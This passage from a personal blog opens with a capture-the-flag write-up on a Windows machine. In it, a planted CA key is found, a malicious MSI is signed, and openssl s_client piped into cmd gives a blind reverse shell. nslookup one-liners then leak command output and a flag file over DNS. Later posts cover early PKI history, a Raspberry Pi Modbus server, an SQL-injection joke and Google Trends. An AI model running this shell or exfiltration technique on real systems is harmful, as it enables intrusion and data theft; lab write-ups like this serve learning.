This was – for me – the most hilarious part of owning this box. The mysterious Root CA had to be in the Windows registry, and I had no certutil. So I resorted to looking at the registry directly.

‘Windows Certificate stores’ are collections of different registry key, this was the one relevant here.

C:\>reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\


But I wanted to look into the binary certificates with those keys so I dumped each of the keys (like 18F7C1FCC3090203FD5BAA2F861A754976C8DD25) and copied the contents from the terminal to a python script. This snippet shows only a single cert in the list:

certs = [
for cert in certs:
    print '======================================='
    print cert
    print '======================================='
    print cert.decode('hex')
    print '======================================='

OK, certainly not the most elegant way to deal with it, but I was loosing patience – I was on a war path!!

Strings in the output contain the CA’s Issuer and Subject Name, and most were familiar Microsoft, Versign, etc. With this exception:

¬·╟<          òë┌┐ò$º¿Y╔&┌╢e½s╦π≥│τÇ╤#w▌╙o╠D       ╖è╔└eîqD╕ß!└öPδ⌠ ¡      ü¿M»╬Φv√tÄ.LgawĽ0ß       τ9╡ïε╢æï
  é0é010 U  My CA0é"0≥▀~àE~Γ<éíFj0
é ¥═p|ÉÉ▒ôfD╬,°á3╣Zƒ╕Cáφs╖Kεmìδ╗wFo2ßÄK ┘Xì╧Y?ÉR╢&,V┘Ω╠û5¬Σ▒┴Γ╧B·Gb4éτåi0Ku rí╕Oh≈φ¬u≤h¥J ┌┌º(┐Jk<√=-9{£H[▀ªP&«¢ΣU■2~ ½Öº-4║o/σ£oºå─∙Åédü¿éÅêr▐O.╘<'Qu∙w0~▒A±·â·{k
  é hòÿâ⌠╝*εC╡Åπs⌠╝[░╣±kπ{≥¬æ±¬╠b┐╤GëJ»i%┴       ╕ìiΦπ %¬*π[ò╗,9ü:╦-5  úV0T0 U  0  0A U :08ǽÖ┬ï]═8¬I¡X^⌠í010 U  My CAé÷h≥▀~àE~Γ<éíFj0

▀ó*┌û╞Qfè£ⁿ─;Lτ·II╫─╓┴¼╤N∩j Φ
)x═Mπ╪₧⌠ç╛ê┤YF:╛╢╙êDτσªM]Gá⌐ S≡∞Yg J»╪u


Maybe hard to spot, but there was a CA called My CA! But where was the key I needed to sign my own Code Signing cert?

In such cases, I typically resort to more Windows registry forensics. I hoped that ‘jorge’ or the box’ creators had touched a folder with these certificate and key. I walked through various Explorer-related keys, especially the infamous Shellbags:

HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2
    NodeSlot    REG_DWORD    0x3
    MRUListEx    REG_BINARY    0100000000000000FFFFFFFF
    0    REG_BINARY    4A00310000000000DB4CD6B3100044455600380009000400EFBEDB4C8FB3DB4CD6B32E0000002400000000000100000000000000000000000000000099306500440045005600000012000000
    1    REG_BINARY    5000310000000000E74C4AAE10004365727473003C0009000400EFBEE74C41AEE74C4AAE2E000000492E0000000003000000000000000000000000000000EAE7BD0043006500720074007300000014000000

HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0
HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\1

… and I really saw a folder called Certs after decoding:

>>> print s.decode('hex')
n 1     µLGu VISUAL~1  V          ∩╛µLGuµLGu.   z¿                    åUÉ V i s u a l   S t u d i o   2 0 1 7   
>>> s='4A00310000000000DB4CD6B3100044455600380009000400EFBEDB4C8FB3DB4CD6B32E0000002400000000000100000000000000000000000000000099306500440045005600000012000000'
>>> print s.decode('hex')
J 1     █L╓│ DEV 8        ∩╛█LÅ│█L╓│.   $                    Ö0e D E V   
>>> s='5000310000000000E74C4AAE10004365727473003C0009000400EFBEE74C41AEE74C4AAE2E000000492E0000000003000000000000000000000000000000EAE7BD0043006500720074007300000014000000'
>>> print s.decode('hex')
P 1     τLJ« Certs <      ∩╛τLA«τLJ«.   I.                    Ωτ╜ C e r t s    >>>

… and a link to a folder called MSIs:

    0    REG_BINARY    5000750062006C0069006300000060003200000000000000000000005075626C69632E6C6E6B0000460009000400EFBE00000000000000002E00000000000000000000000000000000000000000000000000000000005000750062006C00690063002E006C006E006B0000001A000000
    MRUListEx    REG_BINARY    020000000100000000000000FFFFFFFF
    1    REG_BINARY    4D0053004900730000005A003200000000000000000000004D5349732E6C6E6B0000420009000400EFBE00000000000000002E00000000000000000000000000000000000000000000000000000000004D005300490073002E006C006E006B00000018000000
>>> s='4D0053004900730000005A003200000000000000000000004D5349732E6C6E6B0000420009000400EFBE00000000000000002E00000000000000000000000000000000000000000000000000000000004D005300490073002E006C006E006B00000018000000'
>>> print s.decode('hex')
M S I s   Z 2           MSIs.lnk  B        ∩╛        .                             M S I s . l n k   

Then I did what I should have done before – checking out the Recent Docs folder directly …

Directory of C:\Users\jorge\AppData\Roaming\Microsoft\Windows\Recent

07/07/2018  09:47 PM               405 EFS.lnk
07/07/2018  09:53 PM               555 MSIs.lnk
07/07/2018  09:53 PM               678 note.lnk
07/07/2018  09:49 PM               690 Public.lnk
07/09/2018  09:13 PM               612 system32.lnk
07/04/2018  09:17 PM               527 user.lnk

…. the file contained the path:


So there was a D: drive I had totally missed – and there you found a key MyCA.pvk and a certificate MyCA.cer.

The ‘funny’ thing now is that the LNK file hijacked before pointed to Visual Studio installed on the D: drive. So the intended way was likely to go straight to this folder, see certificates and and MSIs folder, and conclude you need to sign an MSI.

Signing that darn thing finally :-)

I wanted to re-use the openssl process I tested before. But openssl cannot use PVK files (AFAIK ;-) but you can convert PVK keys to PFX (PKCS#12)

I ran

pvk2pfx /pvk MyCA.pvk /spc MyCA.cer

… to start a GUI certificate export wizard that let me specify the PFX password.

Then I converted the PFX key to PEM

openssl pkcs12 -in MyCA.pfx -out MyCA.pem -nodes

… and the binary (‘DER’) certificate to PEM

openssl x509 -inform der -in MyCA.cer -out MyCA.cer.pem

I signed a Code Signing certificate for a user with CN Test 1 (same process as with the demoCA), and used this to sign the final payload! Imported MyCA.cer to the Trusted Roots and referenced again the CN of the user in signtool:

signtool sign /n "Test 1" /v half_shell_MyCA.msi
The following certificate was selected:
    Issued to: Test 1
    Issued by: My CA
    Expires:   Sat May 09 14:54:50 2020
    SHA1 hash: 0CDBA139B0E93813969E9E82F1E739C962BA6A3B

Done Adding Additional Store
Successfully signed: half_shell_MyCA.msi

Number of files successfully Signed: 1
Number of warnings: 0
Number of errors: 0

I verified the MSI also with

signtool verify /pa /v half_shell_MyCA.msi

My final signed MSI payload was what I called a half shell, a command like this:

C:\windows\System32\cmd.exe /c "C:\progra~2\openssl-v1.1.0\bin\openssl.exe s_client -quiet -connect | cmd &"

You can execute commands, but you do not get the output back. I tried to use my resources most efficiently.

A text note told us that the admin ‘rupal’ will test MSIs frequently. So I need one openssl listener – thus one of the two precious open ports – for waiting for rupal.

I used the other open port for uploading the MSI, ‘nc-style’ again with openssl.

But if I really wanted output from the blind half shell, I could also embed it in nslookup. So I used the to create this type of command (for that it has on option to just display but not run a command), that I would then paste into the input window of jorge’s half shell.

FOR /F "tokens=1-26" %a in ('copy half_shell_MyCA.msi D:\DEV\MSIs') DO ( nslookup D%a.D%b.D%c.D%d.D%e.D%f.D%g.D%h.D%i.D%j.D%k.D%l.D%m.D%n.D%o.D%p.D%k.D%r.D%s.D%t.D%u.D%v.D%w.D%x.D%y.D%z.

And rupal called back!


But he also only half a shell, so I read root.txt via nslookup, pasting this command into his half shell:

FOR /F "tokens=1-26" %a in ('type C:\Users\rupal\Desktop\root.txt') DO ( nslookup D%a.D%b.D%c.D%d.D%e.D%f.D%g.D%h.D%i.D%j.D%k.D%l.D%m.D%n.D%o.D%p.D%k.D%r.D%s.D%t.D%u.D%v.D%w.D%x.D%y.D%z.

What an adventure!


Certificates and PKI. The Prequel.

Some public key infrastructures run quietly in the background since years. They are half forgotten until the life of a signed file has come to an end – but then everything is on fire. In contrast to other seemingly important deadlines (Management needs this until XY or the world will come to an end!) this deadline really can’t be extended. The time of death is included in the signed data since a long time.

The entire security ‘ecosystem’ changes while these systems sleep in the background. Now we have Let’s Encrypt (I was late to that party), HTTPS is everywhere, and the green padlock as an indicator of a secure site is about to die.

Recently I stumbled upon a whirlwind tour of the history of PKI and SSL/TLS – covering important events in the evolution of standards and technologies, from shipping SSLv2 in Netscape Navigator 1.1 in 1995 to Chrome marking HTTP pages as ‘not secure’ in 2018. Scrolling down the list of years I could not avoid waxing nostalgic. I had written about PKI before at length before, but this time I do what the Hollywood directors of blockbusters do – I write a prequel.

I remember the first times I created a Certificate Signing Request (CSR) and submitted it to a Certificate Authority (CA). It was well before 2000, and it was an adventure!

I was a scientist turned freelance IT consultant – I went from looking at Transmission Electron Microscope images to troubleshooting why Outlook did not start on small business owners’ computers. And I was daring enough to give trainings, based on the little I knew (with hindsight) about IT and networking. I also developed some classes from scratch – creating wiki-style training material, using Microsoft FrontPage 1998.

One class was  called networking and security of the like, and it was part of a vocational retraining curriculum – to turn former factory workers and admin assistants into computer technicians. For reasons I cannot remember I included a brief explanation of the RSA algorithm in my clunky FrontPage site. It was maybe a pretext to justify an exciting lab exercise: As the PKI history timeline shows, SSL was still rather new. Press releases by Austrian IT companies highlighted the military-grade protection from eavesdropping. It felt like Star Trek. One of the early Austrian National CAs offered ‘light’ test certificates. The description of the enrollment process was targeted to business users, but it was pure geek speak: A mysterious multi-step procedure explained in hacker terms like Secure Vault.

I don’t remember if my students found it that exciting or if the test enrolling a lots of certificates simultaneously did work so well at all. But I was hooked.

As a freelancer I started working with my former colleagues again – supporting the sciencists to subvert re-interpert the central IT department’s policies by setting up their own server, or by circumventing the firewall by dialing in to their own modem. This were the days of IT hype in the late 1990s before the dotcom bust. The research center had a new CEO with an IT background, and to get your projects approved you had to tack the label virtual onto anything. So I helped with creating a Virtual Materials Science Lab – which meant we used Microsoft Netmeeting.

Despite or because of such activities I also started working for the IT department. It was the time when The Cluetrain Manifesto told us that hyperlinks were subversive. As a ‘manager’ I should have disciplined shadow IT admins purchasing their own domains and running their shadow servers, but I could not stop tinkering with the web servers myself. It was also the time when I learned that to make things work in larger organizations – or a combination of several of those – you often need to social engineer someone.

We needed a SSL certificate – and I was the super qualified person for that task, based on my experience playing with the Secure Vault. But creating and submitting the CSR, and installing the certificate was the easy part. There were unexpected challenges:

The research center had a long legal name – 65 characters including the final dot in the indication of the legal entity. Common Names in X.509 certificates are limited to 64 characters, so I could not enter the final dot in IIS’s (Internet Information Server’s) wizard for CSRs. The legal name was cross-checked against the Dun&Bradstreet database. One would think that the first 64 characters of a peculiar German name would have been sufficient, but no. It took several phone calls – and faxes! – to prove to the US-based CA company that we were who we claimed to be.

The fact I called a CA company in the US might highlight a mistake: If I recall correctly Big CA had partners in Europe already at that time, but I missed that, or I wanted to talk to the mothership for some reason.

To purchase the certificate from the US-based company you needed a credit card, to be entered exactly when you submit the CSR. This process was disrupting the usual purchasing procedures and I had to social engineer somebody from the procurement department to join me in my adventure, bringing the corporate credit card.

The research center was a company owned 51% by government – so you had SAP and insane management deadlines as well as conferences and academic publication records. The Internet in general was still dominated by its academic roots. Not long ago, there had been a single web page listing All WWW servers in Austria, and that page was run by the academic internet backbone. Domain registration data were tied to a person, to the wrong person, or to the wrong entity – which came back to bite you later.

Fortunately the domain assigned to the SSL certificate belonged to us – so I did not have to  social engineer a DNS admin this time. But it was assigned to a person and not to the organization. The person was an employee in charge of the network, but how should you prove that? More faxes and phone calls were required to sort out the fine legal points.

I did not keep records of that period, so I don’t know if this web server is alive or if at least the domain still exists. Maybe unlikely, given the rapid decay of rotting links. But while researching history for this post – randomly googling for early versions of Microsoft’s web servers – I discovered interesting things. There is a small change it may be alive!

The first version of the Windows Certificate Authority had been released as an add-on to Windows NT 4, as part of the so-called Windows NT 4 Option Pack – the same add-on that also contained the webserver (IIS) itself. It was the time when I learned ASP programming by going online via dial-up and browsing through MSDN as quick as possible not to overspend my precious monthly online time.

I wanted to relive the setup of Internet Information Server 4.0 as and the Option Pack – and found lots of support articles and how-to’s, like this one.

However, I also found live websites like this:

This is only the setup CD, so no danger yet, but you can as well find sites with the welcome page of the operating web server online – including sample ASP applications – which I don’t show deliberately. (Image credits: Microsoft.)

I wonder why I had been frantically re-developing my websites in ASP.NET from scratch – ‘just because’ ASP was outdated technology, even though there were no known vulnerabilities and the sites were running on a modern operating system.

Time to quote from Peter Gutmann’s book Engineering Security:

A great many of today’s security technologies are “secure” only because no-one has ever bothered attacking them.

… which is also true for yesterday’s technology still online!

Modbus Server on Raspberry Pi as Babelfish for UVR16x2

Our main data logger is the Control and Monitoring Interface of the freely programmable controller UVR16x2. There are two pieces of hardware you need for logging – the actual control unit and the logger connected to the controller via the CAN bus. This ‘architecture’ might be due to historical reasons, but I like the separation of critical control functions and nice-to-have logging. An operating system for control should do just that – I don’t want a web server and TCP/IP on the controller itself.

But sometimes it might be useful to send the controller a non-critical ‘nice-to-have’ signal. If you want to optimize the usage of photovoltaic energy, the controller should know about the PV ‘production’ and current consumption. As the CMI supports Modbus inputs and our Fronius Symo inverter has a Modbus interface, PV ‘generation’ data can be logged via Modbus. However, our smart meter has ‘only’ a JSON interface – and you can always scrape data from the website as last resort. But while the CMI is a web server with visualization a JSON API, it cannot log ‘from’ JSON.

My Data Kraken is a SQL Server that is fed log files from different data loggers – the largest one from the CMI, and others are from our smart power meter’s logger, from our photovoltaic inverter, and from the heat pump’s internal CAN bus. Separate log files provide for built-in backup – but what if I could send these data to the UVR16x2 in real time in addition?

Currently different loggers log data at different points of time, so you cannot simply join all these tables together. Of course you can simply overlay the data without the time stamps being exactly equal. As I am mainly interested in daily consumption or performance data, the Data Kraken creates a series of nested views, finally spitting out one row per day, and those views for different loggers can be joined again. So far I could not, say, calculate the photovoltaic power used directly at each instant.

I was looking for … a babel fish! A universal protocol translator that …

  • collects data from other sources which UVR cannot directly process.
  • processes these data and calculates derived values, without having to ‘waste’ UVR16x2’s building blocks for functions on that.
  • and provides these data to UVR16x2 in a proper format as an input relevant for control.

As I had already tested logging from Modbus sources, the logical solution was:

Starting my own Modbus server at the Raspberry Pi we already use for logging from the heat pump’s CAN bus.

The main units of our control infrastructure – after the Chief Engineer’s heroic rebuild of the technical room last year. Top right: Raspberry Pi 3 B – with a USB stick for logging (This extends the life time of the SD card a lot ;-)), second ‘row’ UVR16x2, third row: UVR1611 – most of its former functions have been migrated to UVR16x2.

There is a great python library called pymodbus which makes this task easy:

You write values to your own registers by building a payload from values in different formats. Here is an example using the payload builder to create a ‘stack’ of registers containing payloads of different types. The payload builder can be fed values retrieved from another logger, or created by whatever complex calculation. These values are then ‘sent out’ via your Modbus server interface. That infamous usage of weather forecast data from some public API for optimizing battery storage could theoretically be one application for that.

I update the values ‘internally’ using the setvalues method of the context, like this. Another option would be to create a client connecting to your own local server and writing to the registers.

In order to change the values while the Modbus server runs without interruption, Python threading comes in handy. The ‘context’ is a global object, and one thread constantly updates the values in an infinite loop, and the other thread is for running the actual TCP server. Using log.debug lets you follow the details of the communication on the server – and helps with sorting out any byte ordering issues ;-)

On the CMI you configure the related inputs connecting to your Raspberry Pi Modbus server:

Configuration of Modbus inputs at the CMI. Input 1 is provided by the the PV inverter, inputs >= 10 by the Modbus server running on Raspberry Pi. Values are either ‘forwarded’ from the smart meter EM210 (via JSON), forwarded again from the PV inverter (just for comparison), or they are calculated. E.g. the direct consumption of PV power is calculated from the current PV ‘production’ and the power delivered to the grid as measured by the meter.

Currently the CMI reads the following from my ‘fake’ Modbus device:

Net electrical power measured by the smart meter: Total power for all three AC phases, and each phase separately (OBIS object model – “*2.8.0” and “*1.8.0”).

PV output power: The CMI also logs data from the PV inverter directly. This is a double Modbus hop ‘for fun’!

PV power used immediately and electrical power used in total in the building: Calculated from the smart meter’s output values (via JSON) and the PV inverter’s output (via Modbus).

PV utilization: The directly used PV power is related to either power consumed or power ‘generated’ right now. Over a season these values are ~30% (self-sufficiency quota) and ~35 (self-consumption quota).

Calculations based on the ‘current’ PV power should not be taken too seriously as you might encounter those alien “>100%” spikes. The default log files with 5-minute averages still makes sense.

To actually log these values to CMI’s log file and to use them as control input requires the configuration of a CAN input at the UVR, as described here.

The Babelfish is now translating from Modbus to Modbus, from JSON to Modbus, and from ‘internal calculations’ to Modbus – and it can be extended to translate from a foreign CAN bus to UVR’s in a sense.

Frequently asked question:

How can I log from the heat pump’s internal CAN bus to UVR16x2? It’s all CAN buses, why don’t you simply connect them instead of having a separate CAN logger installed on a Pi?

‘Connected to CAN bus’ does not necessarily mean that those devices speak the same dialect at all network levels of the protocol. While UVR uses CANopen, the heat pump’s CAN protocol is proprietary (though similar to CANopen). In addition, you might want to separate the control bus for the heat pump from your standard CAN bus. What if an exotic issue with one of the devices confuses the heat pump? I remember how an IP TV solution broke the CMI’s predecessor BL-NET, and the solution was to put the CMI into a different subnet, behind another router.

My Modbus Babel fish gathers the heat pump’s values from its internal can bus and saves them to a CSV file (… which is then fed to the SQL Server Kraken). The values could as well be served via my Modbus server.

The final glorious chain looks like this :-)

  • CAN bus heat pump –> CAN sniffer on Raspberry Pi
  • Python Modbus Server on Raspberry Pi –> Modbus input on CMI
  • CAN output on the CMI –> CAN input on UVR16x2
  • –> UVR uses CAN input in a control function
  • –> CMI logs this value from the CAN bus ‘again’ –> into its log file

Unintended 2nd Order SQL Injection

Why I am not afraid of the AI / Big Data / Cloud powered robot apocalypse.

SQL order injection means to run custom SQL queries through web interfaces because the input to the intended query is not sanitized, like appending the infamous ‘ OR ‘1’=’1 to a user name or search term. It is 2nd order when the offending string comes from the database, not from user input. So you would for example register a new user that is named admin ‘ OR ‘1’=’1. If you want to play with that register at, download sqlmap, write your Python scripts.

I have accepted a benign version of 2nd order SQL injection as a fact of life. Our company name has an ampersand in it, and now and then the company name gets truncated at the ampersand. Very cautious IT systems don’t even accept this hacker company name.

But it seems the (AI / Big Data / cloud powered) security filters get better and better. A parcel service messed up delivery in an interesting way:

Item 1 was delivered to a wrong address – not related to us in way any, but contact’s first name was in the street name.

Item 2 was delivered to us, but the company name was  truncated to a single word – contact’s last name right before the ampersand.

Was this the time some backend systems got an update of their security filters? I also got a purchase order e-mail without an actual PO attachment, but the company name was  truncated at the ampersand.

Maybe it also helps that our location’s code changed three years ago. Hardly any organization could deal with the change without support tickets and hacks – big US-based data krakens as well as local suppliers. This will take a while – our IT department will have to setup your new zip code! … Says the company whose core business is shipping things, months after the release of the new zip code.

Google support was helpful, but it took me a lot of back and forth to get the zip code corrected in Google Maps. In the beginning they added to the new zip code to the street address as a workaround. The location shows the old code to this day – we are the only place with the ‘new’ ZIP code.

Making fun of these glitches is unfair. You rather recognize the exceptional error than the many digital processes that run flawlessly. As a network administrator you know this: People only notice you if things go wrong.

However, I’d appreciate if companies would be more humble. Every time I fight with a weird glitch in Big Corp’s systems I see their marketing messages on social media about this superior digital experience.

But …

Software and cathedrals are much the same – first we build them, then we pray
— Samuel T. Redwine Jr. [ref]


We build our computer (systems) the way we build our cities: over time, without a plan, on top of ruins.
— Ellen Ullman [ref]


A Color Box. Lost in Translation

It was that time again.

The Chief Engineer had rebuilt the technical room from scratch. Each piece of heavy equipment had a new place, each pipe and wire was reborn in a new incarnation (German stories here.)

The control system was turned upset down as well, and thus the Data Kraken was looking at its entangled tentacles, utterly confused. The fabric of spacetime was broken again – the Kraken was painfully reminded of its last mutation in 2016.

Back then a firmware update had changed the structure of log files exported by Winsol. Now these changes were home-made. Sensors have been added. Sensor values have been added to the logging setup. Known values are written to different places in the log file. The log has more columns. The electrical input power of the heat pump has now a positive value, finally. Energy meters have been reset during the rebuild. More than once. And on and on.

But Data Kraken had provided for such disruptions! In a classical end-of-calendar-year death march project its software architecture had been overturned 2016. Here is a highly illustrative ‘executive level’ diagram:

The powerful SQL Server Kraken got a little companion – the Proto Kraken. Proto Kraken proudly runs on Microsoft Access. It comprises the blueprint of Big Kraken – its DNA: a documentation of all measured values, and their eternal history: When was the sensor installed, at which position in the log file do you find its values from day X to day Y, when was it retired, do the values need corrections …

A Powershell-powered tentacle crafts the Big Kraken from this proto version. It’s like scientists growing a mammoth from fossils: The database can be rebuilt from the original log files, no matter how the file structure mutates over time.

A different tentacle embraces the actual functions needed for data analysis – which is Data Kraken’s true calling. Kraken consolidates data from different loggers, and it has to do more than just calculating max / min / totals / averages. For example, the calculation of the heat pump’s performance factor had to mutate over time. Originally energy values had been read off manually from displays, but then the related meters were automated. Different tentacles need to reach out into different tables at different points of time.

Most ‘averages’ only make sense under certain conditions: The temperature at different points in the brine circuits should only contribute to an average temperature when the brine circulation pump is active. If you calculate the performance factor from heat source and target temperature (using a fit function), only time intervals may contribute when the heat pump did actually run.

I live in fear of Kraken’s artificial intelligence – will it ever gain consciousness? Will I wake up once in a science fiction dystopia? Fortunately, there is one remaining stumbling block: We have not yet fully automated genetic engineering. How could that ever work? A robot or a drone trying to follow the Chief Engineer’s tinkering with sensor wiring … and converting this video stream into standardized change alerts sent to Data Kraken?

After several paragraphs laden with silly metaphors, I finally come to the actual metaphor in the title of this post. The

Color Box

Once you came up with a code name for your project, you cannot get it out of your head. That also happened to the Color Box (Farbenkastl).

Here, tacky tasteless multi-colored things are called a color box. Clothes and interior design for example. Or the mixture of political parties in parliament. That’s probably rather boring, but the Austrian-German term Farbenkastl has a colorful history: It had been used in times of the monarchy to mock the overly complex system of color codes applied to the uniforms of the military.

What a metaphor for a truly imperial tool: As a precursor to the precursor to the Kraken Database … I use the Color Box! Brought to me by Microsoft Excel! I can combine my artistic streak, coloring categories of sensors and their mutations. Excel formulas spawn SQL code.

The antediluvian 2016 color box was boring:

But trying to display the 2018 color box I am hitting the limit of Excel’s zooming abilities:

I am now waiting now for the usual surprise nomination for an Science & Arts award. In the meantime, my Kraken enjoys its new toys. Again, the metaphoric power of this ‘kraken’ video of an octopus playing with PVC pipes is lost in translation as in German ‘Krake’ means octopus. We are still working at automating PVC piping via the Data Kraken, using 3D printing!

Cyber Something

You know you have become a dinosaur when you keep using outdated terminology. Everybody else uses the new buzz word, but you just find it odd. But someday it will creep also into your active vocabulary. Then I will use the tag cyber something, like stating that I work with cyber-physical systems.

But am I even right about the emergence of new terms? I am going to ask Google Trends!

I have always called it IT Security, now it is Cyber Security. I know there are articles written about the difference between Cyber Security and IT Security. However, when I read about Those 10 Important Things in Cyber Security, I see that the term is often used as a 1:1 replacement of what had been called IT Security. And even if you insist on them being different fields, the following Google Trends result would at least show that one has become more interesting to internet users.

I am also adding Infosec which I feel is also more ‘modern’ – or maybe only used specifically by community insiders.



So Cyber Security is on the rise, but IT Security does is not yet on a decline. Infosec is less popular – and what about these spikes?


Link: 5-y&q=Infosec

This not what I expected – a sharp peak at the beginning of every June! This pattern rather reminds of searching for terms related to heating systems: Searches for heat pump peak in New Zealand every July – for obvious reasons. (Although it is interesting why only in NZ – I only zoomed in on NZ as it was the top region in the worldwide search on heat pump… But I digress!)

So I guess the spike is caused by one of the famous big IT Security Infosec conferences? Which one? I could not track it down unambiguously!

What about the non-abbreviated term – Information Security. Does it exhibit the same pattern?



Not at all. There is one negative spike in week 51 every year, and this pattern rather reminds me of the ‘holiday pattern’ I see in our websites’ statistics. Maybe that’s the one week in a year when also IT security Infosec people are on vacation?

Finally I want to cross-check the Cyber Physical and The Cyber in general:

Cyber Physical is not mainstream enough to show a trend…



… and Cyber itself is again not at all what I expected!



Mid of December every year we all search the The Cyber! Do the hackers attack every year when we are busy with shopping for presents or getting That Important Project done before End of Calendar Year?

Again I fail to google that one and only Cyber event in December – or maybe these spikes are all about Google bugs!

Epilogue / user manual: Don’t click on these links too often!